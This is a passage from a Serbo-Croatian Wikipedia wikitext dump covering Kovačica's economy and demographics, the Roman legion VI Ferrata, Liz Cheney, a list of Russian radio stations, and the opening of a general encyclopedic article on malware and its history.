lokalne ekonomije. Tokom ovog perioda, Kovačica je imala stabilniji nivo zaposlenosti u poređenju sa manjim naseljima u okolini.<ref>{{cite journal |last=Đurić |first=Marija |title=Industrijalizacija i ruralna naselja u Vojvodini |journal=Zbornik Matice srpske za društvene nauke |year=1991}}</ref> Nakon raspada SFRJ i procesa privatizacije tokom 1990-ih i 2000-ih godina, deo društvenih preduzeća i zadruga prestao je sa radom ili je reorganizovan, dok su javne institucije ostale najstabilniji izvor zaposlenja u Kovačici.<ref>{{cite web |title=Privredna struktura opštine Kovačica |url=https://kovacica.org/privreda/ |publisher=Opština Kovačica |access-date=31. decembar 2025}}</ref> == Privreda == U periodu Socijalističke Federativne Republike Jugoslavije u Kovačici je delovao otkupno–prerađivački pogon za šećernu repu, koji je bio deo sistema organizovanog otkupa i prerade poljoprivrednih proizvoda u južnom Banatu. Pogon je omogućavao siguran otkup šećerne repe od poljoprivrednih proizvođača iz Kovačice i okolnih naselja, čime je imao značajnu ulogu u lokalnoj poljoprivrednoj proizvodnji.<ref name="RTV-otkup-2023">{{cite web |title=Crepaja: Repa dobro rodila, ratari zadovoljni otkupnom cenom |url=https://rtv.rs/sr_lat/ekonomija/aktuelno/crepaja-repa-dobro-rodila-ratari-zadovoljni-otkupnom-cenom_1466827.html |website=RTV |date=2023 |access-date=31. decembar 2025}}</ref> Tokom socijalističkog perioda pogon je zapošljavao stalne radnike u administraciji i logistici, kao i veći broj sezonskih radnika tokom kampanje prerade šećerne repe, što je predstavljalo važan izvor zaposlenja za lokalno stanovništvo.<ref name="RTV-otkup-2023" /> Nakon društveno-ekonomskih promena i restrukturiranja poljoprivredno-industrijskog sektora u Srbiji, objekat u Kovačici uključen je u sistem kompanije „Sunoko“, jednog od vodećih proizvođača šećera u zemlji. U savremenom periodu lokalitet funkcioniše kao deo mreže za otkup i logistiku šećerne repe, dok je industrijska prerada koncentrisana u većim šećeranama kompanije.<ref name="RTV-zatvorena-2024">{{cite web |title=U Crepaji slab prinos šećerne repe, zatvorena šećerana u Kovačici |url=https://rtv.rs/sr_lat/vojvodina/banat/u-crepaji-slab-prinos-secerne-repe-zatvorena-secerana-u-kovacici_1592266.html |website=RTV |date=13. decembar 2024 |access-date=31. decembar 2025}}</ref> Pored poljoprivrede i pratećih delatnosti, u Kovačici posluje i fabrika obuće '''FMO „Ukus“ Kovačica''', koja predstavlja značajan deo savremene industrijske strukture naselja. Preduzeće se bavi proizvodnjom obuće, uključujući proizvode namenjene izvozu na inostrano tržište, što je istaknuto u izveštajima Radio-televizije Srbije o domaćoj industriji obuće.<ref>{{cite web |title=Obuća za inostrano tržište |url=https://www.rts.rs/lat/vesti/srbija-danas/1468642/obuca-za-inostrano-trziste.html |website=RTS |access-date=31. decembar 2025}}</ref> Prema poslovnim podacima, osnovna delatnost preduzeća je proizvodnja obuće.<ref>{{cite web |title=Osnovni podaci o preduzeću FMO Ukus Kovačica |url=https://www.ekapija.com/company/36192/osnovni-podaci |website=Ekapija |access-date=31. decembar 2025}}</ref> Fabrika posluje u industrijskoj zoni Kovačice i zapošljava radnike u proizvodnji, tehnološkoj obradi i administraciji, čime doprinosi lokalnoj zaposlenosti i diversifikaciji privrede opštine. {{clear|both}} [[Datoteka:Fabrika_obuće_Ukus_Kovačica.jpg|thumb|left|Zgrada fabrike obuće „Ukus” u Kovačici]] {| width="50%" style="background:transparent; " | valign="top" width="50%" style="border:1px solid gray; " | <!-- ============================================================================================= POČETAK GRAFIKA ===============================================================================================--> <center> :''Grafik promene broja stanovnika tokom 20. veka'' {| | style="padding: 0;" | <timeline> ImageSize = width:250 height:200 PlotArea = left:40 right:10 top:10 bottom:20 TimeAxis = orientation:horizontal AlignBars = justify Colors = id:gray1 value:gray(0.9) DateFormat = yyyy Period = from:1940 till:2010 ScaleMajor = unit:year increment:10 start:1940 PlotData = bar:8911 color:gray1 width:1 from:start till:end bar:5940 color:gray1 from:start till:end bar:2970 color:gray1 from:start till:end bar:0 color:gray1 LineData = layer:front points:(62,141)(77,147) color:blue width:2 points:(77,147)(100,153) color:blue width:2 points:(100,153)(128,155) color:blue width:2 points:(128,155)(157,160) color:blue width:2 points:(157,160)(185,161) color:blue width:2 points:(185,161)(217,149) color:blue width:2 </timeline> |} </center> <!-- ============================================================================================= KRAJ GRAFIKA ===============================================================================================--> | valign="down" width="50%" | {{Popis |izvor=<ref>{{Stat Knjiga 9}}</ref> |p1948=6359 |p1953=6674 |p1961=6990 |p1971=7119 |p1981=7357 |p1991=7426 |p1991n=7249 |p2002s=6955 |p2002=6764 }} |} {{Grafikon postoci |izvor=<ref>{{Stat Knjiga 1}}</ref> |širina=300px |naslov=Etnički sastav prema popisu iz [[Popis stanovništva 2002. u Srbiji|2002.]] |pozadina=#ddd |pozicija=left |šipke= {{Vrsta sa postotkom|[[Slovaci]]|yellow|5697|84.22}} {{Vrsta sa postotkom|[[Srbi]]|blue|558|8.24}} {{Vrsta sa postotkom|[[Romi]]|red|145|2.14}} {{Vrsta sa postotkom|[[Jugosloveni]]|green|69|1.02}} {{Vrsta sa postotkom|[[Mađari]]|orange|34|0.50}} {{Vrsta sa postotkom|[[Rumuni]]|cyan|23|0.34}} {{Vrsta sa postotkom|[[Crnogorci]]|magenta|14|0.20}} {{Vrsta sa postotkom|[[Albanci]]|black|14|0.20}} {{Vrsta sa postotkom|[[Makedonci]]|gray|13|0.19}} {{Vrsta sa postotkom|[[Hrvati]]|pink|9|0.13}} {{Vrsta sa postotkom|[[Vlasi (Srbija)|Vlasi]]|navy|4|0.05}} {{Vrsta sa postotkom|[[Rusi]]|silver|2|0.02}} {{Vrsta sa postotkom|[[Nemci]]|purple|2|0.02}} {{Vrsta sa postotkom|[[Bugari]]|yellow|2|0.02}} {{Vrsta sa postotkom|[[Česi]]|blue|1|0.01}} {{Vrsta sa postotkom|[[Slovenci]]|red|1|0.01}} {{Vrsta sa postotkom|[[Rusini]]|green|1|0.01}} {{Vrsta sa postotkom|[[Muslimani]]|orange|1|0.01}} {{Vrsta sa postotkom|nepoznato|cyan|26|0.38}} }} {{Grafikon piramida |izvor=<ref>{{Stat Knjiga 2}}</ref> |širina=300px |naslov= |pozadina=#eee |levo2=m |desno2=ž |šipke levo desno= {{Vrsta levo desno|?|gray|7|1.90|1.63|6}} {{Vrsta levo desno|80+|gray|46|12.53|21.52|79}} {{Vrsta levo desno|75-79|gray|73|19.89|32.97|121}} {{Vrsta levo desno|70-74|gray|143|38.96|52.04|191}} {{Vrsta levo desno|65-69|gray|178|48.50|67.02|246}} {{Vrsta levo desno|60-64|gray|177|48.22|56.40|207}} {{Vrsta levo desno|55-59|gray|192|52.31|52.58|193}} {{Vrsta levo desno|50-54|gray|246|67.02|71.93|264}} {{Vrsta levo desno|45-49|gray|306|83.37|79.83|293}} {{Vrsta levo desno|40-44|gray|260|70.84|71.66|263}} {{Vrsta levo desno|35-39|gray|241|65.66|57.22|210}} {{Vrsta levo desno|30-34|gray|227|61.85|49.31|181}} {{Vrsta levo desno|25-29|gray|229|62.39|50.95|187}} {{Vrsta levo desno|20-24|gray|250|68.11|62.39|229}} {{Vrsta levo desno|15-19|gray|243|66.21|59.94|220}} {{Vrsta levo desno|10-14|gray|219|59.67|53.67|197}} {{Vrsta levo desno|5-9|gray|165|44.95|43.59|160}} {{Vrsta levo desno|0-4|gray|152|41.41|44.41|163}} |prosekm=38.6 |prosekž=41.6 }} {{DomaćinstvaNaseljaSrbija|1583|1793|2021|2187|2504|2606|2503|559|667|550|520|139|49|12|3|3|1|2.70}} {{BrakNaseljaSrbija|2818|817|1789|123|70|19|2890|429|1806|537|96|22}} {{ZanimanjaNaseljaSrbija|1462|440|-|-|361|27|222|128|16|61|757|76|-|-|198|1|14|116|19|12|2219|516|-|-|559|28|236|244|35|73|6|13|76|29|24|30|2|-|27|22|27|54|62|76|28|38|-|14|28|40|130|91|100|58|40|-|41}} == Značajne osobe == * [[Jovan Stefanović Vilovski]], vojni historičar i prvi srpski hidrolog == Grad pobratim == * [[Banska Bistrica]], [[Datoteka:Flag of Slovakia (bordered).svg|21px]] [[Slovačka]] == Izvori == [[Datoteka:Kovacica mun.png|thumb|200px|Mapa opštine Kovačica.]] {{izvori}} == Vanjske veze == {{portal|Srbija}} {{Commonscat|Kovačica}} * [http://www.kovacica.org/ Opština Kovačica] {{Webarchive|url=https://web.archive.org/web/20210423141617/http://www.kovacica.org/ |date=2021-04-23 }} * [http://www.rtvok.com/ Radio-televizija Kovačica] * [http://www.biblioteka-kovacica.com/ Biblioteka Kovačica] {{Webarchive|url=https://web.archive.org/web/20080516075748/http://www.biblioteka-kovacica.com/ |date=2008-05-16 }} * [http://www.took.org.rs/ Turistička organizacija opštine Kovačica] * [http://www.vojvodinaslovakart.com Likovna umetnost vojvođanskih Slovaka] {{Webarchive|url=https://web.archive.org/web/20180808084030/http://vojvodinaslovakart.com/ |date=2018-08-08 }} * [http://babka.rs/data/indexser.html Umetnička galerija Babka] {{Webarchive|url=https://web.archive.org/web/20120723101444/http://www.babka.rs/data/indexser.html |date=2012-07-23 }} * [http://forum.kovacica.org/ Forum Opštine Kovačica] {{Webarchive|url=https://web.archive.org/web/20121012165602/http://forum.kovacica.org/ |date=2012-10-12 }} ;Mape * [http://www.fallingrain.com/world/RI/00/Kovacica.html Mape, aerodromi i vremenska situacija lokacija (Fallingrain)] * [http://wikimapia.org/maps?ll=45.107,20.6195&spn=0.3,0.3 Satelitska mapa (Wikimapia)] * [http://www.maplandia.com/serbia-and-montenegro/vojvodina/kovacica/ Gugl satelitska mapa (Maplandia)] * [http://www.mapquest.com/maps/map.adp?latlongtype=decimal&latitude=45.107&longitude=20.6195&zoom=8 Plan naselja na mapi (Mapquest)]{{Dead link|date=September 2025 |bot=InternetArchiveBot |fix-attempted=yes }} {{Opština Kovačica}} {{Normativna kontrola}} [[Kategorija:Kovačica| ]] [[Kategorija:Naselja u Vojvodini]] [[Kategorija:Opština Kovačica]] eu4k4v55psnxsbtc6qjmkr6638dnd0h 0 87321 42602640 42422932 2026-05-28T01:16:23Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602640 wikitext text/x-wiki [[Datoteka:6th Roman Legion.jpg|thumb|right|250px|Natpis]] '''Legio VI Ferrata''' (''gvozdena'') je bila jedna od [[legija]] [[rimska vojska|rimske vojske]] koju je prvobitno regrutovao [[Gaj Julije Cezar|Cezar]], sa [[Gali|galskih]] teritorija u podnožju [[Alpe|Alpa]], ''Venecije'' i ''Histrije'', u avgustu 52. godine pne. Nadimak ''ferrata'' – „gvozdena“ – verovatno je dobila po [[metal]]nom oklopu koji su nosili njeni legionari. Kasnije je bila poznata i pod imenom ''Legio VI Ferrata Fidelis Constans''. Njen simbol, kao i kod ostalih Cezarovih legija bio je bik. Takođe je nosila i simbol u obliku vučice koja doji Romulusa i Remusa. == Historija == Prvo borbeno angažovanje ova legija je imala u Cezarovom ratu protiv Gala (58–51. Godine pne.), odnosno njihovog vođe [[Vercingetoriks]]a, koji je bio pod opsadom u utvrđenom mestu Alesija. Čini se da je ova legija u rimskom građanskom ratu bila najmobilnija od svih. Borila se u [[Hispanija|Hispaniji]] u leto 49. godine pne. Početkom 48. godine pne. služila je u ''Dyrrhachiumu'' ([[Drač]] u današnjoj [[Albanija|Albaniji]]), učestvovala u bici kod ''[[Farsala|Pharsalusa]]'' (centralna [[Grčka]]), pratila Cezara u [[Aleksandrija|Aleksandriju]] i direktno doprinela pobedi u bici kod Zele (današnja [[Zila]], u istočnoj [[Turska|Turskoj]]). Tokom ovih vojnih kampanja ''Legio VI Ferrata'' hrabro se borila i pretrpela je velike gubitke pa je Cezar odlučio da je vrati u Italiju na određeno vreme. Nakon Cezarovog ubistva 44. godine pne., legiju je obnovio [[Marko Emilije Lepid]], a zatim je predao pod komandu [[Marko Antonije|Marka Antonija]]. Nakon bitke protiv [[Kasije|Kasija]] i [[Brut]]a jedan deo veterana se „penzionisao“ kod [[Benevento|Beneventa]] u Italiji, a druge je Marko Antonije poveo na istok, u Judeju. Nakon što su pomogli kralju [[Herod Veliki|Herod]] u da osvoji vlast, legija je ostala stacionirana u Judeji. U ratu između Marka Antonija i [[August (rimski car)|Oktavijana Avgusta]] ''Legio VI Ferrata'' je upućena u Grčku ali je u pomorskoj [[Bitka kod Akcija|bici kod Akcija]] Marko Antonije poražen a ''Ferrata'' desetkovana. Jedan deo legionara se penzionisao u Bilisu, u [[Ilirik]]u (današnja [[Valona]], na jugu Albanije). Posle toga (ostatak) legije je upućen u [[Sirija|Siriju]], pa je legija i ostala na području [[bliski Istok|bliskog istoka]] do kraja (oko 250. godine). == Izvori == * [http://www.livius.org/le-lh/legio/vi_ferrata.html Livius.org] {{Webarchive|url=https://web.archive.org/web/20150424104947/http://www.livius.org/le-lh/legio/vi_ferrata.html |date=2015-04-24 }} * D. L. Kennedy, «Legio VI Ferrata: The Annexation and Early Garrison of Arabia», Harvard Studies in Classical Philology, Vol. 84, (1980), pp.&nbsp;283–309.‏ * D. Kennedy, H. Falahat, «Castra legionis, a building inscription for the legionary fortress at Udruh near Petra», Journal of Roman Archaeology, 2008, p.&nbsp;150-169. == Vanjske veze == {{Commonscat}} * [http://legvi.tripod.com/ Legion VI Ferrata, Charleston, SC, Roman Re-enactment Group] {{Webarchive|url=https://web.archive.org/web/20210125163824/http://legvi.tripod.com/ |date=2021-01-25 }} [[Kategorija:Rimske legije|06 Ferrata]] [[Kategorija:Nastanci 50-ih pne.]] qpa2nh7sv2vm8jfw6bp0ft6ymjes0x4 0 88829 42602679 41819992 2026-05-28T06:13:34Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602679 wikitext text/x-wiki {{Other persons|Elizabeth Cheney}} {{Infokutija ličnost | ime = Elizabeth Cheney | slika = Liz Cheney official 116th Congress portrait.jpg | datum_rođenja = {{birth date and age|1966|7|28|df=y}} | zanimanje = advokat | obrazovanje = [[Colorado College]] <br /> [[University of Chicago Law School]] | supružnik = [[Philip Perry]] | djeca = 5 | roditelji = [[Dick Cheney]] i [[Lynne Cheney]] | rodbina = [[Mary Cheney]] (sestra) }} '''Elizabeth Cheney Perry''' (28. jul 1966 -), kolokvijalno poznata kao Liz, je [[sjedinjene Američke Države|američka]] pravnica. Ona je starija od dvije kćeri bivšeg potpredsjednika [[Dick Cheney|Dicka Cheneya]] i njegove supruge [[Lynne Cheney|Lynne]]. Za vrijeme predsjednikovanja [[George W. Bush]]a je služila u [[State Department]]u. Aktivna je u [[Republikanska stranka SAD|Republikanskoj stranci]] te jedan od suosnivača organizacije Keep America Safe (Čuvajmo Ameriku). Udana je za pravnika [[Philip Perry|Philipa Perryja]] s kojima ima petoro djece. == Vanjske veze == * [http://media.csis.org/csistv/?080626_dialogue] {{Webarchive|url=https://web.archive.org/web/20110725211845/http://media.csis.org/csistv/?080626_dialogue |date=2011-07-25 }} Video: Elizabeth Cheney as panelist as a [[Center for Strategic and International Studies]] panel participant with foreign policy experts [[Robin Wright]] of ''[[The Washington Post|Washington Post]]'', Jon Alterman of CSIS, [[Ken Pollack]] of [[Brookings Institution]]. * [http://www.nndb.com/people/563/000122197/ Profile: Liz Cheney profile]. * [http://www.foxnews.com/story/0,2933,136214,00.html] Transcript: appearance on Fox News' ''No Spin Zone'', October 21, 2004, interview with Bill O'Reilly * [http://2002-2009-fpc.state.gov/56709.htm] {{Webarchive|url=https://web.archive.org/web/20090517040231/http://2002-2009-fpc.state.gov/56709.htm |date=2009-05-17 }} Transcript: Foreign Press Center briefing on disbursement of MEPI funds, Manama, Bahrain, Nov. 9 2005. * [http://www.carnegieendowment.org/files/Interview.pdf] {{Webarchive|url=https://web.archive.org/web/20201027122010/https://carnegieendowment.org/files/Interview.pdf |date=2020-10-27 }} Interview: Carnegie Endowment * [http://www.youtube.com/watch?v=2AF9rV0tw6A] Interview: with Norah O'Donnell of MSNBC, April 23, 2009 * [http://www.intelligencesquaredus.org/TranscriptContainer/Diplomacy_with_Iran_051209.pdf] {{Webarchive|url=https://web.archive.org/web/20110722201634/http://intelligencesquaredus.org/TranscriptContainer/Diplomacy_with_Iran_051209.pdf |date=2011-07-22 }} Transcript: debate in New York City, "Diplomacy with Iran Is Going Nowhere" sponsored by Rosenkranz Foundation and Intelligence Squared, May 12, 2009. * [http://www.keepamericasafe.com/] {{Webarchive|url=https://web.archive.org/web/20100827061237/http://www.keepamericasafe.com/ |date=2010-08-27 }} Keep America Safe website {{Lifetime|1966||Cheney, Elizabeth}} {{Normativna kontrola}} [[Kategorija:Američki politički pisci]] [[Kategorija:Američki advokati]] n8mzakk6t00ymjkfnedytona1haey82 0 89015 42602677 42580075 2026-05-28T05:20:31Z InternetArchiveBot 155863 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602677 wikitext text/x-wiki Ovo je '''lista radio-stanica u Rusiji'''. == Nacionalna pokrivenost == {|class="wikitable" !Ime !Web !► ! |- |Radio Rusiji |<center>[http://radiorus.ru/ sajt] {{Webarchive|url=https://web.archive.org/web/20101025055226/http://www.radiorus.ru/ |date=2010-10-25 }}</center> |<center>[http://radiorus.ru/audio.html slušaj] {{Webarchive|url=https://web.archive.org/web/20101025055146/http://www.radiorus.ru/audio.html |date=2010-10-25 }}</center> |Vesti i Politika |- |Glas Rusiji |<center>[http://www.ruvr.ru sajt]<center> |<center>[https://web.archive.org/web/20101103222123/http://95.81.162.158:8000/vsr.m3u slušaj]</center> |Vesti, Politika |- |Vesti |<center>[http://www.vesti.ru/fm/ sajt]<center> |<center>[http://www.vesti.ru/videos?vid=onair&air=2 slušaj]</center> |Vesti |- |Mayak |<center>[http://www.radiomayak.ru/ sajt] {{Webarchive|url=https://web.archive.org/web/20121104093345/http://www.radiomayak.ru/ |date=2012-11-04 }}<center> |<center>[http://www.radiomayak.ru/player.html slušaj] {{Webarchive|url=https://web.archive.org/web/20100420102837/http://www.radiomayak.ru/player.html |date=2010-04-20 }}</center> |Muzika i Riječ |- |Komsomolskaya Pravda |<center>[http://www.kp.ru/ sajt]<center> |<center>[http://radio.kp.ru:8000/ slušaj] {{Webarchive|url=https://web.archive.org/web/20120618030537/http://radio.kp.ru:8000/ |date=2012-06-18 }}</center> |Vesti i Riječ |- |Echo Moskvi |<center>[http://echo.msk.ru sajt]<center> |<center>[http://echo.msk.ru/sound.html slušaj]</center> |Vesti i Riječ |- |Business FM |<center>[http://radio.bfm.ru/ sajt] {{Webarchive|url=https://web.archive.org/web/20100413085921/http://radio.bfm.ru/ |date=2010-04-13 }}<center> |<center>[http://www.bfm.ru/radio.html slušaj]</center> |Economy Vesti |- |Nashe radio |<center>[http://nashe.ru/ sajt]<center> |<center>[http://streamall.rambler.ru/nashe64.mp3.m3u slušaj] {{Webarchive|url=https://web.archive.org/web/20151011114707/http://streamall.rambler.ru/nashe64.mp3.m3u |date=2015-10-11 }}</center> |Russkii Rock |- |Dobri Pesni |<center>[http://dobriepesni.ru/ sajt] {{Webarchive|url=https://web.archive.org/web/20100918192806/http://www.dobriepesni.ru/ |date=2010-09-18 }}<center> |<center>[http://www.station.ru/OnlyFMPlayer.aspx?station=dobryepesni&play=1 slušaj] {{Webarchive|url=https://web.archive.org/web/20100824114448/http://www.station.ru/OnlyFMPlayer.aspx?station=dobryepesni&play=1 |date=2010-08-24 }}</center> |Russka Shansona |- |Dete FM |<center>[http://www.deti.fm sajt]<center> |<center>[http://217.29.51.162:8000/radio-32k.aac.m3u slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |Dete muzika, dijalogi, bajki |- |Teos |<center>[http://www.radioteos.ru/ sajt]<center> |<center>[http://www.guzei.com/online_radio/listen.php?online_radio_id=2264 slušaj] {{Webarchive|url=https://web.archive.org/web/20130119115755/http://guzei.com/online_radio/listen.php?online_radio_id=2264 |date=2013-01-19 }}</center> |Hrišćanstvo |- |Radonezh |<center>[http://radonezh.ru/radio/ sajt]<center> |<center>[http://guzei.com/online_radio/listen.php?online_radio_id=7016 slušaj] {{Webarchive|url=https://web.archive.org/web/20111117065418/http://guzei.com/online_radio/listen.php?online_radio_id=7016 |date=2011-11-17 }}</center> |Pravoslavlje |} == Internet == {|class="wikitable" !Ime !Web !► ! |- |Folk muzika | |<center>[http://77.220.186.233:8000/world_96.mp3.m3u slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |Ruska folk muzika |- |Književnost | |<center>[http://79.137.234.183:8000/listen.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20130824082919/http://79.137.234.183:8000/listen.pls |date=2013-08-24 }}</center> |Ruska književnost |- |RadioBuksir | |<center>[http://s03.radio-tochka.com:6160/listen.pls slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |Ruska historija |- |Fakultet |<center>[http://fmgu.ru/ sajt]</center> |<center>[http://radio.fmgu.ru:8000/fmgu-96.m3u slušaj] {{Webarchive|url=https://web.archive.org/web/20150210012006/http://radio.fmgu.ru:8000/fmgu-96.m3u |date=2015-02-10 }}</center> |Ruske obrazovanje |- |Fantastic | |<center>[http://guzei.com/online_radio/listen.php?online_radio_id=6622 slušaj]</center> |Zvukova fantastic knjiga |- |} {{Commonscat|Radio stations in Russia}} {{Radio-stanice u Evropi}} [[Kategorija:Ruske radio-stanice| ]] [[Kategorija:Radio u Rusiji|Stanice]] [[Kategorija:Radio-stanice po državama|Rusija]] snm8he2wfdshohx30fa571r2sb35p7p 0 91048 42602719 42476932 2026-05-28T11:56:29Z InternetArchiveBot 155863 Rescuing 0 sources and tagging 1 as dead.) #IABot (v2.0.9.5 42602719 wikitext text/x-wiki '''Malver'''<ref>{{cite web|url=https://www.microsoft.com/en-us/language/Search?&searchTerm=malver&langID=Serbian%20(Latin,%20Serbia)&Source=false&productid=All%20Products|title=Terminology Search - Microsoft Language Portal |publisher=Microsoft |date= |accessdate = 01.08.2017}}</ref> ili '''malware''' (složenica engleskih riječi '''''mal'''icious'' i ''soft'''ware''''', druge nazive: '''štetni softver'''<ref>{{cite web|url=https://securingthehuman.sans.org/newsletters/ouch/issues/OUCH-201402_se.pdf|title=Šta je štetni softver (malware)|publisher=Securing the Human|date=|accessdate=14.07.2017|archive-date=2017-09-16|archive-url=https://web.archive.org/web/20170916225336/https://securingthehuman.sans.org/newsletters/ouch/issues/OUCH-201402_se.pdf|dead-url=yes}}</ref><ref>{{cite web|url=https://www.microsoft.com/en-us/language/Search?&searchTerm=%C5%A1tetan%20softver&langID=Croatian&Source=false&productid=All%20Products|title=Terminology Search - Microsoft Language Portal |publisher=Microsoft |date= |accessdate = 01.08.2017}}</ref>, '''zlonamjerni softver'''<ref>{{cite web|url=https://www.microsoft.com/en-us/language/Search?&searchTerm=zlonamjerni%20softver&langID=Croatian&Source=false&productid=All%20Products|title=Terminology Search - Microsoft Language Portal |publisher=Microsoft |date= |accessdate = 01.08.2017}}</ref>) je pojam koji označava [[softver]] koji je namijenjen za nanošenje štete na računaru i računarskim mrežama. U osnovi taj se naziv korist [[program]]ski uradak (kod, [[skripta (informatika)|skripta]] ili aktivni sadržaj) stvoren u cilju onemogućavanja ili otežavanja izvođenja pojedinih operacija na sustavu, prikupljanja informacija koje dovodi do njihove zloupotrebe i gubitka [[privatnost]]i korisnika, dobivanja neovlaštenog pristupa sistemskim resursima i sustavu općenito, i ostalih zlonamjernih aktivnosti. Neki program se može smatrati štetnim ako se može utvrditi ili pretpostaviti zla namjera autora. Osim, klasičnih [[Računalni virus|računalnih virusa]] ovaj pojam označava sve vrste softvera koji na bilo koji način mogu ugroziti [[kompjuter|računalni sustav]] ili [[Računalna mreža|računalnu mrežu]], kao što su [[trojanski konj (informatika)|trojanci]], [[računalni crv]]i, [[rootkit]]ovi, štetni [[dialer]]i, [[spyware|špijunski programi]], [[Ucjenjivački softver|ucjenjivački programi]], pojedini [[adware|oglašivački programi]] i slično. Veliki dio štetnog softvera je napisan za Windowse, no neki postoje i na [[Linux]]u te na [[Macintosh]] i [[Palm]] računalima. Primijećena je rasprostranjenost štetnog softvera kao veoma važnim dijelom [[internetski kriminal|internetskog kriminala]] zajedno s općenitom nesposobnošću tradicionalnih [[antivirus|antivirusnih programa]] da neprestano i kontinuirano štite od sve novijeg i opasnijeg štetnog softvera, što posebno odgovara [[kriminal]]cima za stjecanje profita. Preliminarni rezultati izdani od [[Symantec]]a u [[2008]]. godini pokazuju da bi "nivo izdavanja štetnih programa mogao preteći nivo izdavanja onih legitimnih".<ref>{{cite journal|title=Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary)|publisher=Symantec Corp.|volume=XIII|page=29|date=April 2008|url=http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf|format=PDF|accessdate=2008-05-11|archive-date=2008-06-25|archive-url=https://web.archive.org/web/20080625065121/http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf|dead-url=yes}}</ref> Prema [[F-Secure]]u, "u [[2007]]. godini napravljen je isti broj štetnog softvera kao u prošlih 20 godina zajedno".<ref>{{cite press release|title=F-Secure Reports Amount of Malware Grew by 100% during 2007|url=http://www.f-secure.com/f-secure/pressroom/news/fs_news_20071204_1_eng.html|date = 2007-12-04 |publisher=F-Secure Corporation|accessdate = 2007-12-11}}</ref> Najpopularniji medij za širenje štetnog softvera, od kriminalaca do nedužnih korisnika, žrtvi, je [[Internet]], posebno [[e-mail]] i [[World Wide Web]] (WWW).<ref>{{cite web|title= F-Secure Quarterly Security Wrap-up for the first quarter of 2008|url=http://www.f-secure.com/f-secure/pressroom/news/fsnews_20080331_1_eng.html|publisher=F-Secure|date = 31. 03. 2008.|accessdate = 25. 04. 2008.}}</ref> [[29. 3.|29. ožujka]] [[2010]]. Symantec je proglasio grad [[Shaoxing]] u [[Narodna Republika Kina|Kini]] glavnim gradom iz kojeg dolazi štetni softver.<ref>{{cite web|url=http://www.engadget.com/2010/03/29/symantec-names-shaoxing-china-worlds-malware-capital |title=Symantec names Shaoxing, China as world's malware capital |publisher=Engadget |date= |accessdate = 15. 04. 2010.}}</ref> Valja istaknuti da štetni softver nije isto što i defektivni, ali legitimni program u kojem se nalaze softverski bugovi (greške u kodu). == Historija == [[Datoteka:Malware statics 2011-03-16-en.svg|350px|thumb|Štetni softver po kategorijama za 16. ožujak 2010.]] Prije veće dostupnosti Interneta, virusi su se širili tako što bi zarazili [[boot sektor]] ili [[flopi disk|disketu]]. Stavljajući svoju kopiju u upute u [[mašinski jezik|strojnom kodu]] u izvršnim datotekama, pokretali bi se prilikom svakog pokretanja inficiranog [[program]]a ili [[disk]]a. Rani virusi su bili napisani za [[Apple II]] i [[Macintosh]], ali su se počeli više širiti s pojavom [[IBM]] [[Osobni kompjuter|PC]]-a i [[MS-DOS]]-a. Ovakvi virusi bili su ovisni o korisnicima koji bi razmjenjivali softver i diskete, na taj način se iznimno brzo šireći u krugovima računalnih hobista. Prvi [[računalni crv|crvi]] koji su se širili mrežom nisu nastali na osobnim računalima, već na višezadaćnim [[Unix]] sustavima. Prvi poznati crv je bio [[Internet Worm]] koji se pojavio [[1988]]. i koji bi zarazio [[SunOS]] i VAX BSD sustave. Za razliku od virusa, Internet Worm nije stavljao svoje kopije u druge programe. Umjesto toga, koristio bi [[sigurnosna rupa (informatika)|sigurnosnu rupu]] u programima za mrežni [[server]] te bi se počeo pokretati kao samostalni [[proces (informatika)|proces]]. Ovu tehniku koriste i današnji crvi. S porastom popularnosti operacijskog sustava [[Microsoft]] Windows u devedesetima, i fleksibilnim [[makro]]ima za aplikacije u Windowsima, postalo je moguće stvaranje infektivnog koda u makro jeziku za [[MS Word]] i druge programe. Ovi makro virusi bi zarazili dokumente i predloške umjesto aplikacija, iako su makroi u Word dokumentu vrsta izvršnog koda (''executable code''). Danas je veliki dio crva napisan za Windowse, iako je manji dio, tipa Mare-D<ref>{{cite web |url=http://www.theregister.co.uk/2006/02/20/linux_worm/ |title= Linux worm targets PHP flaw |author= Nick Farrell |date= 20 February 2006 |work= The Register|accessdate=19 May 2010}}</ref> i Lion<ref>{{cite web |url=http://www.theregister.co.uk/2001/03/28/highly_destructive_linux_worm_mutating/|title= Highly destructive Linux worm mutating |author= John Leyden |date= March 28, 2001 |work= The Register|accessdate=19 May 2010}}</ref>, napisan za [[Linux]] i [[Unix]] sustave. Današnji crvi rade na istom principu kao Internet Worm iz 1988. godine: skeniraju mrežu i pronalaze ranjiva računala kako bi se replicirali. Zbog toga što ne trebaju intervenciju korisnika, crvi se mogu replicirati iznimno velikom brzinom. Tako je, primjerice, [[SQL Slammer]] zarazio tisuće računala u samo nekoliko minuta.<ref>{{cite news |url= http://news.bbc.co.uk/2/hi/technology/2720337.stm |title= Aggressive net bug makes history|date= February 3, 2003 |work= BBC News|accessdate=19 May 2010}}</ref> Mnogi raniji infektivni programi, kao što je Internet Worm i neki MS-DOS virusi, su bili napisani kao eksperiment ili šala. Uglavnom su ih njihovi autori napisali kao bezopasne ili jednostavno dosadne programe, a ne kao programe koji čine veliku štetu ili destrukciju na računalnom sustavu. U nekim slučajevima nisu mogli predvidjeti koliko će njihove kreacije napraviti štete. Mladi programeri koji su učili o virusima i njihovim tehnikama su ih obično napisali za vježbu ili da vide koliko daleko će se rasprostraniti. Neki od virusa koji su se [[1999]]. brzo širili, poput Davida i crva [[Melissa (crv)|Melisse]] su, izgleda, bili napisani kao neslana šala. Prvi virus za [[mobilni telefon|mobitele]], Cabir, pojavio se [[2004]]. godine. U to vrijeme se mogu naći i virusi koji su bili napisani sa štetnom namjerom 